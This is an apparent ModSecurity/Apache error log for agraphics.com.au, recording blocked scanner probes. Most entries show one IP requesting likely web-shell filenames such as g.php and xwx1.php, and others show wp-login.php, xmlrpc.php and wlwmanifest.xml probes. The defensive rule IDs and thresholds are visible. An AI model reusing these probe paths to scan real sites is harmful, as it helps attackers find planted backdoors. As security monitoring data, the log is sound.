[Tue Apr 21 18:00:21.825279 2026] [:error] [pid 35321:tid 35391] [client 20.199.181.135:43046] [client 20.199.181.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/file48.php"] [unique_id "aedKtTeHLhVUuu8cVXwTtQAAAEc"]
[Tue Apr 21 18:00:22.296998 2026] [:error] [pid 4823:tid 4856] [client 20.199.181.135:5422] [client 20.199.181.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/file48.php"] [unique_id "aedKtvc8mke3PfHqsxHl7wAAAYM"]
[Tue Apr 21 18:00:22.770411 2026] [:error] [pid 4823:tid 4853] [client 20.199.181.135:64614] [client 20.199.181.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/file48.php"] [unique_id "aedKtvc8mke3PfHqsxHl8AAAAYA"]
[Tue Apr 21 18:00:23.241030 2026] [:error] [pid 54080:tid 54089] [client 20.199.181.135:45859] [client 20.199.181.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/file48.php"] [unique_id "aedKt4zEbQHHxtmWbaaPQwAAAsc"]
[Tue Apr 21 18:00:23.712999 2026] [:error] [pid 35321:tid 35406] [client 20.199.181.135:50436] [client 20.199.181.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/g.php"] [unique_id "aedKtzeHLhVUuu8cVXwTvwAAAFY"]
[Tue Apr 21 18:00:24.184673 2026] [:error] [pid 35321:tid 35405] [client 20.199.181.135:39453] [client 20.199.181.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/g.php"] [unique_id "aedKuDeHLhVUuu8cVXwTxQAAAFU"]
[Tue Apr 21 18:00:24.656430 2026] [:error] [pid 35321:tid 35407] [client 20.199.181.135:23690] [client 20.199.181.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/g.php"] [unique_id "aedKuDeHLhVUuu8cVXwTyAAAAFc"]
[Tue Apr 21 18:00:25.127202 2026] [:error] [pid 54080:tid 54082] [client 20.199.181.135:64521] [client 20.199.181.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/g.php"] [unique_id "aedKuYzEbQHHxtmWbaaPRgAAAsA"]
[Tue Apr 21 18:00:25.598170 2026] [:error] [pid 35320:tid 35354] [client 20.199.181.135:5397] [client 20.199.181.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-content/"] [unique_id "aedKuYJW6fdXWO6agMFnOwAAABg"]
[Tue Apr 21 18:00:26.070517 2026] [:error] [pid 4823:tid 4877] [client 20.199.181.135:50475] [client 20.199.181.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-content/"] [unique_id "aedKuvc8mke3PfHqsxHl8gAAAZg"]
[Tue Apr 21 18:00:26.541936 2026] [:error] [pid 53832:tid 53844] [client 20.199.181.135:39486] [client 20.199.181.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-content/"] [unique_id "aedKutzkuxsE_OhM9UJOKgAAAkk"]
[Tue Apr 21 18:00:27.014799 2026] [:error] [pid 53731:tid 53752] [client 20.199.181.135:64634] [client 20.199.181.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-content/"] [unique_id "aedKu12I9THUR-bRVGwiJQAAAhA"]
[Tue Apr 21 18:00:27.484785 2026] [:error] [pid 4823:tid 4868] [client 20.199.181.135:5385] [client 20.199.181.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/simple.php"] [unique_id "aedKu_c8mke3PfHqsxHl9AAAAY8"]
[Tue Apr 21 18:00:27.957158 2026] [:error] [pid 35415:tid 35451] [client 20.199.181.135:23720] [client 20.199.181.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/simple.php"] [unique_id "aedKu0iqDinI4_22zzhligAAANg"]
[Tue Apr 21 18:00:28.428724 2026] [:error] [pid 35415:tid 35446] [client 20.199.181.135:23725] [client 20.199.181.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/simple.php"] [unique_id "aedKvEiqDinI4_22zzhljAAAANM"]
[Tue Apr 21 18:00:28.900862 2026] [:error] [pid 54080:tid 54105] [client 20.199.181.135:62824] [client 20.199.181.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/simple.php"] [unique_id "aedKvIzEbQHHxtmWbaaPSQAAAtc"]
[Tue Apr 21 18:00:29.372612 2026] [:error] [pid 35320:tid 35336] [client 20.199.181.135:23693] [client 20.199.181.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/ew.php"] [unique_id "aedKvYJW6fdXWO6agMFnPwAAAAY"]
[Tue Apr 21 18:00:29.844918 2026] [:error] [pid 53832:tid 53838] [client 20.199.181.135:45885] [client 20.199.181.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/ew.php"] [unique_id "aedKvdzkuxsE_OhM9UJOLgAAAkM"]
[Tue Apr 21 18:00:30.317010 2026] [:error] [pid 35321:tid 35392] [client 20.199.181.135:5395] [client 20.199.181.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/ew.php"] [unique_id "aedKvjeHLhVUuu8cVXwT2wAAAEg"]
[Tue Apr 21 18:00:30.789645 2026] [:error] [pid 53731:tid 53738] [client 20.199.181.135:64577] [client 20.199.181.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/ew.php"] [unique_id "aedKvl2I9THUR-bRVGwiOAAAAgM"]
[Tue Apr 21 18:00:31.260895 2026] [:error] [pid 35322:tid 35375] [client 20.199.181.135:5391] [client 20.199.181.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/file21.php"] [unique_id "aedKv6PoAfV40BTfVKzQYAAAAJI"]
[Tue Apr 21 18:00:31.734012 2026] [:error] [pid 4823:tid 4872] [client 20.199.181.135:45832] [client 20.199.181.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/file21.php"] [unique_id "aedKv_c8mke3PfHqsxHl9wAAAZM"]
[Tue Apr 21 18:00:32.207842 2026] [:error] [pid 53978:tid 53980] [client 20.199.181.135:64539] [client 20.199.181.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/file21.php"] [unique_id "aedKwJ1ivsR4hcOSQbbrqAAAAoA"]
[Tue Apr 21 18:00:32.686052 2026] [:error] [pid 4777:tid 4792] [client 20.199.181.135:55044] [client 20.199.181.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/file21.php"] [unique_id "aedKwKxXur6bykKyLZSZawAAAQQ"]
[Tue Apr 21 18:00:33.174092 2026] [:error] [pid 35415:tid 35428] [client 20.199.181.135:64611] [client 20.199.181.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/hypo.php"] [unique_id "aedKwUiqDinI4_22zzhlkAAAAME"]
[Tue Apr 21 18:00:33.660633 2026] [:error] [pid 35322:tid 35368] [client 20.199.181.135:39438] [client 20.199.181.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/hypo.php"] [unique_id "aedKwaPoAfV40BTfVKzQYQAAAIs"]
[Tue Apr 21 18:00:34.133853 2026] [:error] [pid 35320:tid 35337] [client 20.199.181.135:50463] [client 20.199.181.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/hypo.php"] [unique_id "aedKwoJW6fdXWO6agMFnTwAAAAc"]
[Tue Apr 21 18:00:34.605514 2026] [:error] [pid 35320:tid 35342] [client 20.199.181.135:60837] [client 20.199.181.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/hypo.php"] [unique_id "aedKwoJW6fdXWO6agMFnUAAAAAw"]
[Tue Apr 21 18:00:35.077314 2026] [:error] [pid 35320:tid 35351] [client 20.199.181.135:45841] [client 20.199.181.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/file18.php"] [unique_id "aedKw4JW6fdXWO6agMFnUQAAABU"]
[Tue Apr 21 18:00:35.551251 2026] [:error] [pid 53832:tid 53858] [client 20.199.181.135:23735] [client 20.199.181.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/file18.php"] [unique_id "aedKw9zkuxsE_OhM9UJOOwAAAlc"]
[Tue Apr 21 18:00:36.021511 2026] [:error] [pid 53731:tid 53757] [client 20.199.181.135:50449] [client 20.199.181.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/file18.php"] [unique_id "aedKxF2I9THUR-bRVGwiQAAAAhU"]
[Tue Apr 21 18:00:36.493367 2026] [:error] [pid 35320:tid 35352] [client 20.199.181.135:62798] [client 20.199.181.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/file18.php"] [unique_id "aedKxIJW6fdXWO6agMFnVgAAABY"]
[Tue Apr 21 18:00:36.965602 2026] [:error] [pid 4823:tid 4871] [client 20.199.181.135:50450] [client 20.199.181.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/xwx1.php"] [unique_id "aedKxPc8mke3PfHqsxHl_QAAAZI"]
[Tue Apr 21 18:00:37.438058 2026] [:error] [pid 35321:tid 35402] [client 20.199.181.135:64590] [client 20.199.181.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/xwx1.php"] [unique_id "aedKxTeHLhVUuu8cVXwT7wAAAFI"]
[Tue Apr 21 18:00:37.910970 2026] [:error] [pid 35321:tid 35401] [client 20.199.181.135:45881] [client 20.199.181.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/xwx1.php"] [unique_id "aedKxTeHLhVUuu8cVXwT8gAAAFE"]
[Tue Apr 21 18:00:38.382389 2026] [:error] [pid 35321:tid 35408] [client 20.199.181.135:62807] [client 20.199.181.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/xwx1.php"] [unique_id "aedKxjeHLhVUuu8cVXwT9AAAAFg"]
[Tue Apr 21 18:00:38.854334 2026] [:error] [pid 54080:tid 54100] [client 20.199.181.135:39434] [client 20.199.181.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-admin/css/colors/blue/"] [unique_id "aedKxozEbQHHxtmWbaaPZAAAAtI"]
[Tue Apr 21 18:00:39.325983 2026] [:error] [pid 53731:tid 53740] [client 20.199.181.135:23721] [client 20.199.181.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-admin/css/colors/blue/"] [unique_id "aedKx12I9THUR-bRVGwiRQAAAgU"]
[Tue Apr 21 18:00:39.799960 2026] [:error] [pid 53731:tid 53755] [client 20.199.181.135:23734] [client 20.199.181.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-admin/css/colors/blue/"] [unique_id "aedKx12I9THUR-bRVGwiSAAAAhM"]
[Tue Apr 21 18:00:40.274908 2026] [:error] [pid 35321:tid 35404] [client 20.199.181.135:45828] [client 20.199.181.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-admin/css/colors/blue/"] [unique_id "aedKyDeHLhVUuu8cVXwT-wAAAFQ"]
[Tue Apr 21 18:00:40.748291 2026] [:error] [pid 35320:tid 35339] [client 20.199.181.135:50438] [client 20.199.181.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/chosen.php"] [unique_id "aedKyIJW6fdXWO6agMFnZAAAAAk"]
[Tue Apr 21 18:00:41.222140 2026] [:error] [pid 35320:tid 35334] [client 20.199.181.135:62829] [client 20.199.181.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/chosen.php"] [unique_id "aedKyYJW6fdXWO6agMFnZgAAAAQ"]
[Tue Apr 21 18:00:41.693533 2026] [:error] [pid 35321:tid 35407] [client 20.199.181.135:6080] [client 20.199.181.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/chosen.php"] [unique_id "aedKyTeHLhVUuu8cVXwUBQAAAFc"]
[Tue Apr 21 18:00:42.168046 2026] [:error] [pid 35320:tid 35351] [client 20.199.181.135:64593] [client 20.199.181.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/chosen.php"] [unique_id "aedKyoJW6fdXWO6agMFnaQAAABU"]
[Tue Apr 21 18:33:49.047337 2026] [:error] [pid 53731:tid 53746] [client 136.144.35.67:62675] [client 136.144.35.67] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 136.144.35.67, incrementing brute counter"] [hostname "agraphics.com.au"] [uri "/wp-login.php"] [unique_id "aedSjV2I9THUR-bRVGwsjAAAAgs"]
[Tue Apr 21 18:33:49.057030 2026] [proxy_fcgi:error] [pid 53731:tid 53746] [client 136.144.35.67:62675] AH01071: Got error 'Primary script unknown'
[Tue Apr 21 19:30:42.828970 2026] [:error] [pid 53731:tid 53748] [client 134.209.183.134:50314] [client 134.209.183.134] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 134.209.183.134, incrementing brute counter"] [hostname "agraphics.com.au"] [uri "/wp-login.php"] [unique_id "aedf4l2I9THUR-bRVGxD3gAAAg0"]
[Tue Apr 21 19:30:42.839519 2026] [proxy_fcgi:error] [pid 53731:tid 53748] [client 134.209.183.134:50314] AH01071: Got error 'Primary script unknown'
[Tue Apr 21 20:43:46.860432 2026] [:error] [pid 53731:tid 53752] [client 35.202.184.139:62955] [client 35.202.184.139] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 35.202.184.139, incrementing ddos counter"] [hostname "agraphics.com.au"] [uri "/xmlrpc.php"] [unique_id "aedxAl2I9THUR-bRVGxhXgAAAhA"]
[Tue Apr 21 20:43:46.870861 2026] [proxy_fcgi:error] [pid 53731:tid 53752] [client 35.202.184.139:62955] AH01071: Got error 'Primary script unknown'
[Tue Apr 21 20:43:49.987247 2026] [:error] [pid 53731:tid 53746] [client 35.202.184.139:62955] [client 35.202.184.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp1/wp-includes/wlwmanifest.xml"] [unique_id "aedxBV2I9THUR-bRVGxhawAAAgs"]
[Tue Apr 21 20:43:53.159882 2026] [:error] [pid 53978:tid 53995] [client 35.202.184.139:58649] [client 35.202.184.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/test/wp-includes/wlwmanifest.xml"] [unique_id "aedxCZ1ivsR4hcOSQbYeJwAAAo8"]
[Tue Apr 21 20:43:55.064685 2026] [:error] [pid 35322:tid 35377] [client 35.202.184.139:52700] [client 35.202.184.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/media/wp-includes/wlwmanifest.xml"] [unique_id "aedxC6PoAfV40BTfVKzbygAAAJQ"]
[Tue Apr 21 20:43:57.058919 2026] [:error] [pid 35415:tid 35432] [client 35.202.184.139:52909] [client 35.202.184.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp2/wp-includes/wlwmanifest.xml"] [unique_id "aedxDUiqDinI4_22zzhzmQAAAMU"]
[Tue Apr 21 20:44:01.525318 2026] [:error] [pid 4823:tid 4872] [client 35.202.184.139:58495] [client 35.202.184.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/site/wp-includes/wlwmanifest.xml"] [unique_id "aedxEfc8mke3PfHqsxH9-wAAAZM"]
[Tue Apr 21 20:44:03.178317 2026] [:error] [pid 35321:tid 35400] [client 35.202.184.139:57547] [client 35.202.184.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/cms/wp-includes/wlwmanifest.xml"] [unique_id "aedxEzeHLhVUuu8cVXyXLgAAAFA"]
[Tue Apr 21 20:44:05.445944 2026] [:error] [pid 35321:tid 35390] [client 35.202.184.139:56257] [client 35.202.184.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/sito/wp-includes/wlwmanifest.xml"] [unique_id "aedxFTeHLhVUuu8cVXyXNgAAAEY"]
[Wed Apr 22 04:38:47.671995 2026] [:error] [pid 21681:tid 21712] [client 41.248.0.138:65302] [client 41.248.0.138] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 41.248.0.138, incrementing ddos counter"] [hostname "agraphics.com.au"] [uri "/xmlrpc.php"] [unique_id "aefgV95LmJziq-yZYawacQAAABY"]
[Wed Apr 22 04:38:47.684133 2026] [proxy_fcgi:error] [pid 21681:tid 21712] [client 41.248.0.138:65302] AH01071: Got error 'Primary script unknown'
